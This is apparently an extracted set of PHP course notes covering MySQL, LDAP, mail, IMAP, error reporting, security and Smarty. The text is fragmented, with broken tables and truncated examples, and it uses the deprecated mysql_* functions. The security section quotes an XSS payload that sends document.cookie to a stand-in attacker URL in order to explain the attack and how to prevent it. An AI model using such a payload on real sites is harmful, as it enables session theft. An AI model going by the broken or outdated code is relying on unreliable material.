IV IT
IV IT
Description
Server name
username
"localhost:3306"
Optional. Specifies the username to log in with. Default value is the name
password
IV IT
Syntax:
mysql_select_db($database);
Example code to select a MySql database is
<?php
$connect = mysql_connect("localhost", "root", "");
if(!$connect){
die("Cannot connect to MySQL server". mysql_error());
}else{
echo "Sucessfully connected to MySQL server";
}
$db = mysql_select_db("testDb", $connect);
if(!$db){
die("Cannot select a database". mysql_error());
}else{
echo "Database is sucessfully selected";
} ?>
<? php
$query = "SELECT * FROM books";
?>
IV IT
IV IT
Description
Data
Required. Specifies which data pointer to use. The data pointer is the
result from the mysql_query() function
Example
<?php
$con = mysql_connect("localhost", "root", "");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
$db_selected = mysql_select_db("test_db",$con);
$sql = "SELECT * from Person WHERE Lastname='Refsnes'";
$result = mysql_query($sql,$con);
print_r(mysql_fetch_row($result));
?>
Step 6: Closing the database connection
Finally we close the connection to the MySQL server. mysql_close() is used to close
the connection to database using PHP.
Example code
<?php
$con = mysql_connect("localhost", "root", "");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
$db_selected = mysql_select_db("test_db",$con);
$sql = "SELECT * from Person WHERE Lastname='Refsnes'";
$result = mysql_query($sql,$con);
print_r(mysql_fetch_row($result));
mysql_close($con);
?>
IV IT
IV IT
ldap_connect()
resource ldap_connect ([string hostname [, int port]])
<?php
$ldapHost = "ldap://ad.example.com";
$ldapPort = "389";
$ldapconn = ldap_connect($ldapHost, $ldapPort) or die("Can't establish LDAP connection");
?>
ldap_start_tls()
boolean ldap_start_tls (resource link_id)
This function is typically executed immediately after a call to ldap_connect() if the
developer wants to connect to an LDAP server securely using the Transport Layer Security
(TLS) protocol. TLS connections for LDAP can take place only when using LDAPv3.
Because PHP uses LDAPv2 by default, we need to declare use of version 3 specifically, by
using ldap_set_option(), before making a call to ldap_start_tls().
For Example
<?php
$ldapconn = ldap_connect("ldap://ad.example.com");
ldap_set_option($ldapconn, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_start_tls($ldapconn);
?>
IV IT
ldap_bind()
boolean ldap_bind (resource link_id [, string bind_rdn [, string bind_pswd]])
Proper credentials are often required before data can be retrieved or manipulated. This
is accomplished using ldap_bind(). This function requires the link_id returned from
ldap_connect(), and likely a username and password.
For example
<?php
$ldapHost = "ldap://ad.example.com";
$ldapPort = "389";
$ldapUser = "ldapreadonly";
$ldapPswd = "iloveldap";
$ldapconn = ldap_connect($ldapHost, $ldapPort) or die("Can't establish LDAP connection");
ldap_bind($ldapconn, $ldapUser, $ldapPswd) or die("Can't bind to the server.");
?>
ldap_search() performs the search for a specified filter on the directory with the
scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.
base_dn specifies the base DN for the directory.
8
IV IT
link_identifier
An LDAP link identifier, returned by ldap_connect().
base_dn
The base Distinguished Name (DN Name) for the directory.
filter
The search filter can be simple or advanced, using Boolean operators.
attributes
If the attributes parameter is not explicitly assigned, all attributes will be returned for
each entry, which is inefficient if were not going to use all of them.
attrsonly
Should be set to 1 if only attribute types are retrieved. If set to 0 both attributes types
and attribute values are fetched which is the default behavior.
sizelimit
Enables us to limit the count of entries fetched. Setting this to 0 means no limit.
timelimit
Sets the number of seconds how long is spend on the search. Setting this to 0 means
no limit.
deref
Specifies how aliases should be handled during the search. It can be one of the
constants like LDAP_DEREF_NEVER, LDAP_DEREF_SEARCHING,
LDAP_DEREF_FINDING, DAP_DEREF_ALWAYS
ldap_get_entries()
array ldap_get_entries (resource link_id, resource result_id)
The ldap_get_entries() function offers an easy way to place all members of the result
set into a multidimensional array. The following list offers the numerous items of information
that can be derived from this array:
IV IT
For example
<?php
/* ... Connect to LDAP server and bind to a directory. */
/* Search the directory */
$results = ldap_search($ldapconn, $dn, "sn=G*");
/* Create array of attributes and corresponding entries. */
$entries = ldap_get_entries($ldapconn,$results);
/* How many entries found? */
$count = $entries["count"];
/* Output the surname of each located user. */
for($i=0;$i<$count;$i++) echo $entries[$i]["sn"][0]."<br />";
/* Close the connection. */
ldap_unbind($ldapconn);
?>
Closing the LDAP Server Connection
After we have completed all of our interaction with the LDAP server, we should clean
up and properly close the connection. One function, ldap_unbind(), is available for doing
just this.
ldap_unbind()
boolean ldap_unbind (resource link_id)
The ldap_unbind() function terminates the LDAP server connection associated with
link_id.
10
IV IT
<?php
$ldapconn = ldap_connect("ldap://ad.example.com", 389) or die("Can't establish LDAP
connection");
Configuration Directives
There are four configuration directives pertinent to PHPs mail() function before
using this to send e-mails. These configuration settings can be done in php.ini file located in
PHP installation directory.
Name
Default
SMTP
"localhost"
smtp_port
"25"
Description
Windows only: The DNS name or IP
address of the SMTP server
Windows only: The SMTP port
number. Available since PHP 4.3
Scope
PHP_INI_ALL
PHP_INI_ALL
NULL
sendmail_path
NULL
11
IV IT
mail() function
boolean mail(string to, string subject, string message [, string addl_headers [,
string addl_params]])
The mail() function can send an e-mail with a subject of subject and a message
containing message to one or several recipients denoted in to. We can tailor many of the email properties using the addl_headers parameter, and can even modify the SMTP servers
behavior by passing extra flags via the addl_params parameter.
For example
<?php
mail("test@example.com", "This is a subject", "This is the mail body");
?>
<?php
$recipients = "test@example.com , info@example.com";
mail($recipients, "This is the subject","This is the mail body");
?>
We can also send to cc: and bcc: recipients, by modifying the corresponding headers.
For example
<?php
$headers = "From:secretary@example.com\r\n";
$headers .= "Bcc:theboss@example.com\n";
mail("intern@example.com", "Company picnic scheduled", "Don't be late!", $headers);
?>
12
IV IT
Sending an Attachment
To send an email with attachment we need to use the multipart/mixed MIME type
that specifies the mixed types will be included in the email. Moreover, we want to use
multipart/alternative MIME type to send both plain-text and HTML version of the email.
For example
<%
include("mimemail/htmlMimeMail5.php");
13
IV IT
imap_open()
resource imap_open(string mailbox, string username, string pswd [, int options])
For example
// Open an IMAP connection
$ms = imap_open("{imap.example.com:143/imap/notls}","jason","mypswd");
imap_close()
boolean imap_close(resource msg_stream [, int flag])
14
IV IT
Retrieving Messages
For retrieving the messages from mail box, we have to use the functions like
imap_fetchoverview() and imap_fetchbody() functions.
imap_fetchoverview()
array imap_fetchoverview(resource msg_stream, string sequence [, int options])
imap_fetchbody()
string imap_fetchbody(resource msg_stream, int msg_number, string part_number
[,flags options])
The imap_fetchbody() function retrieves a particular section (part_number) of the
message body identified by msg_number, returning the section as a string. If we leave
15
IV IT
part_number blank, by assigning it an empty string, this function returns the entire message
text. The following example retrieves the entire message:
<?php
// Open an IMAP connection
$user = "jason";
$pswd = "mypswd";
$ms = imap_open("{imap.example.com:143}INBOX",$user, $pswd);
Types of Errors
There are a number of different error types that may be triggered in PHP. Some of
these can be recovered from, while others cannot that is, some errors will cause the current
script execution to immediately halt. These errors are defined by specific constants.
The following list is some of the PHP Error Predefined Constants.
16
IV IT
17
IV IT
Method 2:
If we set the error level in httpd.conf or in .htaccess, these constant names do not
exist. We must use their corresponding integer values instead.
For example
Method 3:
To set at runtime we can use either ini_set() or error_reporting().
For example
<?php
ini_set('error_reporting', E_ALL & ~E_NOTICE);
error_reporting(E_WARNING | E_NOTICE);
?>
18
IV IT
Method 2:
To log errors to the file system, enable the log_errors setting. By default this will
write errors to the server's error log. We can use a different log file by setting the error_log
directive in either httpd.conf or .htaccess file.
For example
php_value log_errors On
php_value error_log /path/to/site/logs/php-errors.log
19
IV IT
PHP Security
Its important to understand that PHP itself is neither secure nor insecure. The security
of our web applications is entirely determined by the PHP code. There are several common
issues that can lead to insecure scripts, such as filenames, file uploads, and the eval( )
function. Some problems are solved through code (e.g., checking filenames before opening
them), while others are solved through changing PHPs configuration.
20
IV IT
Then it might happen to reveal the password file contents to intruder. So we must take
care while including the files in PHP file. There are several solutions to the problem of
checking filenames. We can disable remote file access, check filenames with realpath( ) and
basename(), and use the open_basedir option to restrict file system access.
open_basedir = /some/path
unlink("/some/path/unwanted.exe");
include("/some/path/less/travelled.inc");
IV IT
<?php
$id = $_GET['id'];
echo $id;
?>
If $_GET['id'] contains a number, then the script will run as intended. But if it
contains the following code:
<script>window.location.href = "http://domain.com/stealcookie.php?c=' +
document.cookie;</script>
If an attacker passed this simple Javascript into the $_GET['id'] variable and
convinced a user to click it, then the script would be executed and be used to pass the user's
cookie data onto the attacker, allowing them to log in as the user.
Prevention Mechanisms from XSS attacks
To prevent XSS attacks, we need to filter user input, removing it of HTML tags so
that no Java script can be run. The easiest way to do this is with the following PHP's built in
function
strip_tags( ): Used to remove HTML from a string rendering it harmless.
htmlentities( ): Used to convert < and > to < and > respectively, if we do not
want to remove HTML from a string.
PHP Templates
A templating system provides a way of separating the code in a web page from the
layout of that page. In larger projects, templates can be used to allow web designers to deal
exclusively with designing web pages and programmers to deal exclusively with
programming. The basic idea of a templating system is that the web page itself contains
special markers that are replaced with dynamic content. A web designer can create the
HTML for a page layout, using the appropriate markers for different kinds of dynamic
content that are needed. The programmer is responsible for creating the code that generates
the dynamic content for the markers.
22
IV IT
Using Smarty
Since Smarty separates PHP from HTML, there are two files required one
contains the presentation code: an HTML template, including Smarty variables and tags such
as {$title_text|escape}, {$body_html}, and second one is PHP file that contains business
logic.
For example
The first file called template file where Smarty variables and tags are used as
placeholder for dynamic content to be replaced by PHP application logic.
23
24
IV IT